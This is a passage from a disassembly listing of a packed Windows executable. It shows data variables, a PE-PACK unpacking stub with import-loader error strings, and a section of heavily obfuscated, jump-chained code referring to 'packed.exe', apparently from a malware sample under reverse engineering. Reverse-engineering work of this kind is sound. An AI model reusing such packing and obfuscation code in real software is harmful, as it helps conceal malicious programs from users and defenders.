5E0C4E7Dh ; DATA XREF: sub_403BD3+1F2w ; sub_415AF0+4r dword_41DE84 dd 71AB33DFh ; DATA XREF: sub_403BD3+16Cw ; sub_403BD3+197r ... dword_41DE88 dd 71ABC076h ; DATA XREF: .text:0040219Dr ; sub_403BD3+17Fw ... dword_41DE8C dd 71AB3A2Ch ; DATA XREF: sub_403BD3+192w ; sub_403BD3+1A9r ... dd 101h dup(0) dword_41E294 dd 0 ; DATA XREF: sub_4042FB+3r ; sub_4042FB+20o dword_41E298 dd 0 ; DATA XREF: sub_4042FB+12o ; sub_4042FB:loc_404327r align 10h dword_41E2A0 dd 76BF1C22h ; DATA XREF: sub_405FA3+46w ; sub_405FA3+7Ar ... dword_41E2A4 dd 76BF1D54h ; DATA XREF: sub_405FA3+59w ; sub_405FA3+83r ... dword_41E2A8 dd 76BF1E6Ch ; DATA XREF: sub_405FA3+6Cw ; sub_405FA3+8Cr ... dword_41E2AC dd 76BF32DDh ; DATA XREF: sub_405FA3+33w ; sub_405FA3+71r ... dword_41E2B0 dd 14B188h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_405FA3+4o ; sub_406041+Bo ... byte_41E2CC db 1 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E2D0 dd 0 ; DATA XREF: sub_409226+61w ; sub_409226+77w ... align 8 dword_41E2D8 dd 14B1B0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40938F+1Ao ; sub_4095A4+6o ... dword_41E2F0 dd 0 ; DATA XREF: sub_40938F+3w ; sub_4095A4+11r ... align 8 dword_41E2F8 dd 953B20h ; DATA XREF: sub_40938F+15w ; sub_4095A4+57r ... dword_41E2FC dd 0 ; DATA XREF: sub_409CB1+6r ; .text:00409E35w ... dword_41E300 dd 0 ; DATA XREF: .text:00409E0Fw ; .text:00409E14r ... dword_41E304 dd 0 ; DATA XREF: sub_409CB1+F6r ; .text:00409E61w ... dword_41E308 dd 0 ; DATA XREF: sub_409CB1+B9r ; .text:00409E4Bw ... align 10h byte_41E310 db 0 ; DATA XREF: .text:00409DF9r ; .text:00409E66w align 4 dd 101h dup(0) byte_41E718 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E898 dd 40h dup(0) ; DATA XREF: sub_40CF2F+Eo ; sub_40CF2F+A6o ... dword_41E998 dd 3 dup(0) ; DATA XREF: sub_40CF2F+23o ; sub_40CF2F+36o ... dword_41E9A4 dd 0 ; DATA XREF: sub_40CF25+3r ; sub_40D366+15r ... dd 0 dword_41E9AC dd 0 ; DATA XREF: sub_40E618+49w ; sub_40E618:loc_40E66Dw byte_41E9B0 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_41EAB4 db 8Bh ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... db 0B9h, 0DBh, 0B0h dd 8FB3E9B3h, 9A9790C8h, 62FBBADBh, 0 dword_41EAC8 dd 353B9991h, 29C9A16Fh, 0F3E975C5h, 37BBFFA3h, 0 ; DATA XREF: sub_40ED6E+29o ; sub_40ED6E+35o ... dword_41EADC dd 2B5DD82Eh ; DATA XREF: sub_4102AE+1Do ; sub_410318+7w ... dword_41EAE0 dd 65BFB695h ; DATA XREF: sub_4102AE+2Do ; sub_410318+11w ... dword_41EAE4 dd 13D9C0EAh ; DATA XREF: sub_4102AE+3Do ; sub_410318+1Bw ... dword_41EAE8 dd 0C48F84Bh ; DATA XREF: sub_4102AE+4Do ; sub_410318+25w ... align 10h byte_41EAF0 db 0E2h ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... db 0E6h, 0B7h, 0B0h dd 0BECEFA9Dh, 0D3DE90C8h, 0B1F7D5FBh, 2 dup(0) dword_41EB08 dd 2 dup(0) ; DATA XREF: .text:00411923o dword_41EB10 dd 0 ; DATA XREF: .text:0041231Co dword_41EB14 dd 2 dup(0) ; DATA XREF: .text:0041233Eo dword_41EB1C dd 0 ; DATA XREF: sub_4127D0+9r ; sub_4127D0+16w dword_41EB20 dd 0 ; DATA XREF: sub_4127D0+BFw ; sub_4127D0:loc_4128A0r dword_41EB24 dd 2 dup(0) ; DATA XREF: sub_412D4C+3o ; .text:00412E83o aPacked_exe db 'packed.exe',0 ; DATA XREF: sub_406E8E+208o ; sub_407148+172o ... align 4 dd 3Eh dup(0) dword_41EC30 dd 46010F23h ; DATA XREF: sub_40A9CF+838r ; .text:00416909w dword_41EC34 dd 39C12B45h ; DATA XREF: .text:00416913w dword_41EC38 dd 0D6C921BFh ; DATA XREF: .text:0041691Dw dword_41EC3C dd 85825AAFh ; DATA XREF: .text:00416927w aPacked_exe_0 db 'packed.exe',0 ; DATA XREF: sub_40A9CF+C3Do ; sub_40A9CF+C51o ... align 4 dd 3Fh dup(0) dword_41ED48 dd 40h dup(0) ; DATA XREF: sub_40A9CF+1082o ; sub_40A9CF+108Eo ... byte_41EE48 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EEC8 db 0 ; DATA XREF: .text:loc_403F07r ; .text:00403F12o ... align 4 dd 1Fh dup(0) dword_41EF48 dd 40h dup(0) ; DATA XREF: sub_404279+36o ; .text:00405D2Bo ... byte_41F048 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 1000h _data ends ; Section 4. (virtual address 00020000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00020000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write PEPACK__ segment para public 'DATA' use32 assume cs:PEPACK__ ;org 420000h dword_420000 dd 0E860h, 835D0000h, 0BD8006EDh, 53Eh, 48840F01h, 0C6000002h ; DATA XREF: PEPACK__:00420514o dd 53E85h, 0C58B0100h, 54B852Bh, 0AD890000h, 514h, 58B8589h dd 858B0000h, 58Bh, 56F8503h, 85890000h, 543h, 53CBD80h dd 75010000h, 679D8B1Ch, 3000005h, 58B9Dh, 679D8900h, 8B000005h dd 73858703h, 89000005h, 68046A03h, 1000h, 55FB5FFh, 6A0000h dd 49FE8h, 0FC00B00h, 24584h, 63858900h, 8B000005h, 55BB5h dd 0ADF50300h, 840FC00Bh, 81h, 0BD03F88Bh, 58Bh, 0ADC88BADh dd 0E774C00Bh, 0F78B5756h, 563BD8Bh, 0A4F30000h, 0FF57575Fh dd 563B5h, 289E800h, 0C4830000h, 0E8835F08h, 52C93305h dd 0F8D23353h, 74483873h, 66337835h, 80391C8Bh, 0F74E8FBh dd 74E9FB80h, 0FB81660Ah, 0F7425FFh, 29E3EB41h, 8301394Ch dd 0E88305C1h, 29D7EB04h, 83023954h, 0EA8306C1h, 5E88304h dd 85C6C8EBh, 0D3h, 5E5A5BF8h, 0FFFF76E9h, 0FF046AFFh dd 55FB5h, 63B5FF00h, 0E8000005h, 3F2h, 53CBD80h, 75010000h dd 679D8B0Eh, 8B000005h, 57385h, 8B038900h, 54385h, 3F858900h dd 8B000005h, 54395h, 3F952B00h, 3000005h, 58B95h, 47958900h dd 8B000005h, 56BB5h, 74F60B00h, 8BB50333h, 83000005h dd 958B10C6h, 543h, 587952Bh, 0D20B0000h, 60E80574h, 8B000001h dd 58B95h, 8F952B00h, 0B000005h, 0E80574D2h, 14Bh, 58B8D8Bh dd 958B0000h, 543h, 0B0C428Bh, 0A0840FC0h, 89000000h, 85030C4Ah dd 547h, 50505152h, 5538589h, 0D88B0000h, 34FE8h, 5A595B00h dd 1275C00Bh, 0E8535152h, 346h, 840FC00Bh, 82h, 85895A59h dd 239h, 0A89328Bh, 89107A8Bh, 0F60B104Ah, 0F78B0275h dd 547B503h, 0BD030000h, 547h, 0C00B068Bh, 0E893D74h, 0B70F0579h dd 30DEBC0h, 54785h, 0C76600h, 40400000h, 57565250h, 50505351h dd 12000068h, 2F2E877h, 0B5B0000h, 5B4D74C0h, 7895F59h dd 835B5A5Eh, 0C78304C6h, 83BDEB04h, 55E914C2h, 8BFFFFFFh dd 55785h, 8B850300h, 89000005h, 611C2444h, 858DE0FFh dd 5CEh, 0D1BD8D50h, 53000004h, 95FF5057h, 5B9h, 580CC483h dd 49D9D8Dh, 44EB0000h, 4F6BD8Dh, 0C3F70000h, 0FFFF0000h dd 0BD8D0674h, 4E3h, 5CE858Dh, 0FF500000h, 553B5h, 50575300h dd 5B995FFh, 0C4830000h, 9D8D5810h, 49Dh, 858D0EEBh, 4B7h dd 4879D8Dh, 0EB0000h, 0FF6AFF6Ah, 5AD958Bh, 8D8B0000h dd 5B5h, 306AED33h, 6A5053h, 0ADE1FF52h, 5674C00Bh, 9D03D88Bh dd 58Bh, 88AC1301h, 0B60FFF56h, 74C00AC0h, 74013C41h, 74023C0Eh dd 74033C11h, 1D80310h, 66E3EB13h, 0C0B70FADh, 0EBADF3EBh dd 0B60FACF0h, 74C90AC8h, 1F98007h, 0AEB0974h, 0B70FAD66h dd 0AD03EBC8h, 0FACC88Bh, 0D803C0B6h, 0FAE21301h db 0EBh, 0B4h, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp pusha push ebp mov esi, [ebp+8] mov edi, [ebp+0Ch] cld mov dl, 80h loc_42035D: ; CODE XREF: PEPACK__:loc_42036Cj mov al, [esi] inc esi mov [edi], al inc edi loc_420363: ; CODE XREF: PEPACK__:004203C1j ; PEPACK__:00420406j ... add dl, dl jnz short loc_42036C mov dl, [esi] inc esi adc dl, dl loc_42036C: ; CODE XREF: PEPACK__:00420365j jnb short loc_42035D add dl, dl jnz short loc_420377 mov dl, [esi] inc esi adc dl, dl loc_420377: ; CODE XREF: PEPACK__:00420370j jnb short loc_4203C3 xor eax, eax add dl, dl jnz short loc_420384 mov dl, [esi] inc esi adc dl, dl loc_420384: ; CODE XREF: PEPACK__:0042037Dj jnb loc_420460 add dl, dl jnz short loc_420393 mov dl, [esi] inc esi adc dl, dl loc_420393: ; CODE XREF: PEPACK__:0042038Cj adc eax, eax add dl, dl jnz short loc_42039E mov dl, [esi] inc esi adc dl, dl loc_42039E: ; CODE XREF: PEPACK__:00420397j adc eax, eax add dl, dl jnz short loc_4203A9 mov dl, [esi] inc esi adc dl, dl loc_4203A9: ; CODE XREF: PEPACK__:004203A2j adc eax, eax add dl, dl jnz short loc_4203B4 mov dl, [esi] inc esi adc dl, dl loc_4203B4: ; CODE XREF: PEPACK__:004203ADj adc eax, eax jz short loc_4203BE push edi sub edi, eax mov al, [edi] pop edi loc_4203BE: ; CODE XREF: PEPACK__:004203B6j mov [edi], al inc edi jmp short loc_420363 ; --------------------------------------------------------------------------- loc_4203C3: ; CODE XREF: PEPACK__:loc_420377j mov eax, 1 loc_4203C8: ; CODE XREF: PEPACK__:loc_4203DCj add dl, dl jnz short loc_4203D1 mov dl, [esi] inc esi adc dl, dl loc_4203D1: ; CODE XREF: PEPACK__:004203CAj adc eax, eax add dl, dl jnz short loc_4203DC mov dl, [esi] inc esi adc dl, dl loc_4203DC: ; CODE XREF: PEPACK__:004203D5j jb short loc_4203C8 sub eax, 2 jnz short loc_42040B mov ecx, 1 loc_4203E8: ; CODE XREF: PEPACK__:loc_4203FCj add dl, dl jnz short loc_4203F1 mov dl, [esi] inc esi adc dl, dl loc_4203F1: ; CODE XREF: PEPACK__:004203EAj adc ecx, ecx add dl, dl jnz short loc_4203FC mov dl, [esi] inc esi adc dl, dl loc_4203FC: ; CODE XREF: PEPACK__:004203F5j jb short loc_4203E8 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_420363 ; --------------------------------------------------------------------------- loc_42040B: ; CODE XREF: PEPACK__:004203E1j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_420419: ; CODE XREF: PEPACK__:loc_42042Dj add dl, dl jnz short loc_420422 mov dl, [esi] inc esi adc dl, dl loc_420422: ; CODE XREF: PEPACK__:0042041Bj adc ecx, ecx add dl, dl jnz short loc_42042D mov dl, [esi] inc esi adc dl, dl loc_42042D: ; CODE XREF: PEPACK__:00420426j jb short loc_420419 cmp eax, 7D00h jnb short loc_420450 cmp eax, 500h jb short loc_42044B inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_420363 ; --------------------------------------------------------------------------- loc_42044B: ; CODE XREF: PEPACK__:0042043Bj cmp eax, 7Fh ja short loc_420453 loc_420450: ; CODE XREF: PEPACK__:00420434j add ecx, 2 loc_420453: ; CODE XREF: PEPACK__:0042044Ej push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_420363 ; --------------------------------------------------------------------------- loc_420460: ; CODE XREF: PEPACK__:loc_420384j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_42047C adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_420363 ; --------------------------------------------------------------------------- loc_42047C: ; CODE XREF: PEPACK__:00420468j pop ebp sub edi, [ebp+0Ch] mov [ebp-4], edi popa pop ebp retn ; --------------------------------------------------------------------------- dw 5000h aEPackMemoryAle db 'E-PACK: MEMORY ALERT',0 aPePackImportLd db 'PE-PACK: IMPORT LDR ERROR',0 aMemoryAllocati db 'Memory allocation failed!',0 aUnableToLoadS db 'Unable to load %s',0 aSNotFoundInS db '%s not found in %s',0 aOrdinal_4xhNot db 'Ordinal %.4Xh not found in %s',0 dd offset dword_420000 dd 0 dd 5A5A5FFh, 0A5FF0000h, 5A9h, 599A5FFh, 0A5FF0000h, 59Dh dd 5A1A5FFh, 40000h, 0C8010000h, 0C8004173h, 4173h, 4000h dd 200h, 3E000000h, 0F100417Eh, 0A0000167h, 0E7000006h dd 15Fh, 12500h, 0 dd 0C8000000h, 173h, 0 dd 95000000h, 76000000h, 0A0000011h, 0C8000000h, 4173h dd 2 dup(4000h), 0 dd 0E79F9300h, 0E805D877h, 0E7A5FD77h, 0E7980A77h, 0E79E3477h dd 0E75CB577h, 77h, 0D6ADD700h, 0D4C96A77h, 77h, 52454B00h dd 334C454Eh, 4C442E32h, 4Ch, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h dd 65470000h, 6F725074h, 64644163h, 73736572h, 56000000h dd 75747269h, 6C416C61h, 636F6Ch, 69560000h, 61757472h dd 6572466Ch, 65h, 74697845h, 636F7250h, 737365h, 52455355h dd 442E3233h, 4C4Ch, 73654D00h, 65676173h, 41786F42h, 77000000h dd 69727073h, 4166746Eh, 100h, 80h, 0FFFFFF00h, 0FFh, 4 dup(0) dd 205C1h, 20599h, 3 dup(0) dd 2062Ch, 205B5h, 5 dup(0) dd 1000h, 8990h, 1, 17000h, 6C5h, 1, 18000h, 26D9h, 1 dd 0 dd 0A0D0A0Dh, 0C4C40A0Dh, 0Dh dup(0C4C4C4C4h), 2D200A0Dh dd 5020FE3Dh, 41502D45h, 76204B43h, 20302E31h, 202DFE2Dh dd 20294328h, 79706F43h, 68676972h, 39312074h, 62203839h dd 4E412079h, 4E694B41h, 2D3DFE20h, 0C40A0D20h, 0Dh dup(0C4C4C4C4h) dd 0A0DC4h, 0A22h dup(0) PEPACK__ ends ; --------------------------------------------------------------------------- ; Section 5. (virtual address 00023000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 00023000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _0182ofla segment para public 'CODE' use32 assume cs:_0182ofla ;org 423000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing sub edi, eax jmp loc_426E65 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_423008: ; CODE XREF: sub_42660C:loc_425F4Bj ; _0182ofla:0042DE6Aj xor ecx, eax test esi, ebx jmp loc_427E0E ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- push ebx pop edi jmp sub_42A5FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_423018: ; CODE XREF: sub_42B15E-5540j pop eax add eax, 5DA72D8Eh xor eax, 7A05D54Ah js loc_427245 ; END OF FUNCTION CHUNK FOR sub_42B15E ; START OF FUNCTION CHUNK FOR sub_424184 loc_42302B: ; CODE XREF: sub_424184:loc_424195j jmp loc_429908 ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- mov ebp, ebx jmp loc_427244 ; --------------------------------------------------------------------------- loc_423037: ; DATA XREF: _0182ofla:00426307o xchg edi, [esp] jmp sub_42326C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_42303F: ; CODE XREF: sub_42448C:loc_4297EDj ; sub_42448C+5543j call nullsub_4 retn ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_423045: ; CODE XREF: sub_423A2A:loc_4283D7j call sub_423FCD test al, al jz loc_424C90 jmp loc_428E7C ; END OF FUNCTION CHUNK FOR sub_423A2A ; =============== S U B R O U T I N E ======================================= sub_423057 proc near ; DATA XREF: sub_42798F+1DD4o ; FUNCTION CHUNK AT 00424893 SIZE 00000005 BYTES mov eax, offset dword_42A3C8 call sub_42B14D loc_423061: ; CODE XREF: sub_42798F:loc_42D90Ej lea eax, [ebp-14h] push eax call sub_42DBF0 jmp loc_424893 sub_423057 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42306F proc near ; CODE XREF: sub_428D17j push ebp mov ebp, esp jmp sub_42D76D sub_42306F endp ; =============== S U B R O U T I N E ======================================= sub_423077 proc near ; CODE XREF: _0182ofla:00425FD0j ; _0182ofla:0042B1E3p xchg eax, [esp+0] pop eax xor edx, 0A32D65F9h call sub_42A260 sub_423077 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428F20 loc_423086: ; CODE XREF: sub_428F20+1C76j jmp loc_4285A8 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42430D loc_42308B: ; CODE XREF: sub_42430D+6251j jmp sub_427AD5 ; END OF FUNCTION CHUNK FOR sub_42430D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4254D3 loc_423090: ; CODE XREF: sub_4254D3+905j jmp loc_42CCB3 ; END OF FUNCTION CHUNK FOR sub_4254D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AC07 loc_423095: ; CODE XREF: sub_42AC07-3DE5j jz loc_427BB9 jmp loc_42C6E5 ; END OF FUNCTION CHUNK FOR sub_42AC07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BB9 loc_4230A0: ; CODE XREF: sub_429BB9+4FABj mov edi, ebp loc_4230A2: ; CODE XREF: sub_429BB9:loc_429BBEj call sub_424EBE loc_4230A7: ; CODE XREF: _0182ofla:00429267j jmp nullsub_61 ; END OF FUNCTION CHUNK FOR sub_429BB9 ; =============== S U B R O U T I N E ======================================= sub_4230AC proc near ; CODE XREF: sub_42E395:loc_4274DEp ; _0182ofla:0042E65Dj mov [esp+0], edx pop edx call sub_4295D6 lea eax, [ebp-0Ch] push offset loc_42B0E6 jmp nullsub_11 sub_4230AC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_4230C2: ; CODE XREF: sub_428F46:loc_4251EFj ; _0182ofla:0042A93Cj mov [ecx], edi ; END OF FUNCTION CHUNK FOR sub_428F46 ; =============== S U B R O U T I N E ======================================= sub_4230C4 proc near ; CODE XREF: _0182ofla:0042A1BFp xchg esi, [esp+0] loc_4230C7: ; CODE XREF: _0182ofla:00424389j pop esi pop ecx jmp loc_4278CC sub_4230C4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb edi, 27386AAEh jmp sub_428110 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4230DA: ; CODE XREF: _0182ofla:0042739Dj jmp loc_42A56A ; --------------------------------------------------------------------------- loc_4230DF: ; DATA XREF: sub_42C870:loc_42C874o lea eax, [ebp-70h] push 87D7DAE2h mov [esp], eax call dword ptr [ebp-4] jmp loc_427F10 ; --------------------------------------------------------------------------- mov edx, 0DE6CF580h call sub_42D71D push eax ror eax, 0Fh mov ds:dword_42D128, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276BF loc_423107: ; CODE XREF: sub_4276BF-2A94j jmp nullsub_196 ; END OF FUNCTION CHUNK FOR sub_4276BF ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42310C proc near ; CODE XREF: sub_42C197j var_806 = byte ptr -806h ; FUNCTION CHUNK AT 004298C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EA61 SIZE 0000001F BYTES push ebp mov ebp, esp jmp loc_4298C1 sub_42310C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423114 proc near ; DATA XREF: _0182ofla:0042330Bo ; FUNCTION CHUNK AT 00423D3E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004265E0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042DDB2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042DDB9 SIZE 0000000A BYTES call sub_423FCD test al, al jz loc_42DDB9 jmp loc_423D3E sub_423114 endp ; --------------------------------------------------------------------------- loc_423126: ; CODE XREF: _0182ofla:0042569Bj pushf ; =============== S U B R O U T I N E ======================================= sub_423127 proc near ; CODE XREF: sub_42798F+165p ; FUNCTION CHUNK AT 00425215 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00425BD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004278C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004288C6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428C5D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A9D3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042EC53 SIZE 00000008 BYTES mov [esp+0], ebx pop ebx push esi jmp loc_428C5D sub_423127 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_423131: ; CODE XREF: sub_4282B8-3231j xchg edi, ebp and ecx, 0C166F425h or esi, edi push ebp jmp loc_42C3F2 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E6E loc_423141: ; CODE XREF: sub_424E6E:loc_42D1E8j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al jmp loc_429B7C ; END OF FUNCTION CHUNK FOR sub_424E6E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_423167: ; CODE XREF: sub_4298DD+19ECj jmp loc_4268B3 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D730 loc_42316C: ; CODE XREF: sub_42D730+1305j mov eax, [eax] or eax, eax jnz loc_426347 call sub_429BB9 mov edx, 0E996F72Eh jmp sub_42AA44 ; END OF FUNCTION CHUNK FOR sub_42D730 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AC07 loc_423185: ; CODE XREF: sub_42AC07:loc_42C6E5j pop ecx sbb ebp, ebx cdq sbb edi, ecx jmp loc_42478A ; END OF FUNCTION CHUNK FOR sub_42AC07 ; --------------------------------------------------------------------------- dword_423190 dd 143958h ; DATA XREF: sub_4276BF:loc_4248F9r ; sub_42798F-2DE6r ... dword_423194 dd 0DE58DDF9h ; DATA XREF: sub_4271D2-1941w ; sub_4271D2:loc_429213r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_423198: ; CODE XREF: sub_423FCD+3671j jmp loc_42A8A2 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- db 76h, 0DAh, 3Ch dword_4231A0 dd 79D5B77Eh ; DATA XREF: sub_42940E+7r ; sub_42AD20+7w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_4231A4: ; CODE XREF: sub_425629+8ECj jmp sub_4242AC ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4251FB loc_4231A9: ; CODE XREF: sub_4251FB+Fj jmp nullsub_19 ; END OF FUNCTION CHUNK FOR sub_4251FB ; --------------------------------------------------------------------------- dw 2141h dword_4231B0 dd 6EEFCF58h ; DATA XREF: sub_42C379-1055r ; sub_42D897r dd 0D28EDDF9h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_4231B8: ; CODE XREF: sub_428041+3028j jmp sub_4256D3 ; END OF FUNCTION CHUNK FOR sub_428041 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_4231BD: ; CODE XREF: sub_42660C-2C13j jmp loc_4260CB ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A241 loc_4231C2: ; CODE XREF: sub_42A241+13j push edx push 831DB632h pop edx add edx, 7D248BA7h jmp loc_427F08 ; END OF FUNCTION CHUNK FOR sub_42A241 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4231D5 proc near ; DATA XREF: sub_42C7FE-152Fo arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425136 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00429E09 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00429FA3 SIZE 00000005 BYTES mov eax, [ebp-18h] shl eax, 2 cdq add eax, [esp+0] jno loc_429E09 adc edx, [esp+arg_0] add esp, 8 mov eax, [eax] jmp loc_429FA3 sub_4231D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4231F3 proc near ; DATA XREF: sub_4231F3+B6A1o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423209 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00423AC5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00424058 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424940 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424A5F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00426588 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042692A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426DDC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427154 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427DD1 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00428985 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D510 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042E46E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042E87F SIZE 0000001F BYTES call sub_424065 jnz loc_42E87F mov ecx, [ebx+edx-4] or ecx, ecx jmp loc_426911 sub_4231F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_423209: ; CODE XREF: sub_4231F3:loc_42E87Fj add edx, 14h jmp loc_424A5F ; END OF FUNCTION CHUNK FOR sub_4231F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_423211: ; CODE XREF: sub_428EB9+17j mov eax, [ebp+8] cmp dword ptr [eax-14h], 4 jnz loc_42E9E2 mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_42E9E2 cmp dword ptr [ebp-10h], 0 jnz loc_429AFE jmp loc_42BCFD ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428265 loc_42323A: ; CODE XREF: sub_428265+11j call sub_429D1C ; END OF FUNCTION CHUNK FOR sub_428265 ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42323F: ; CODE XREF: sub_423A2A+A169j jmp loc_42E48E ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_423244: ; CODE XREF: sub_4289E4+1j jmp loc_4290BF ; END OF FUNCTION CHUNK FOR sub_4289E4 ; =============== S U B R O U T I N E ======================================= sub_423249 proc near ; DATA XREF: sub_42C415:loc_424037o ; FUNCTION CHUNK AT 0042C4DD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042EC15 SIZE 00000005 BYTES mov eax, [ebp-0Ch] neg eax sbb eax, eax neg eax jmp loc_42EC15 sub_423249 endp ; --------------------------------------------------------------------------- jle 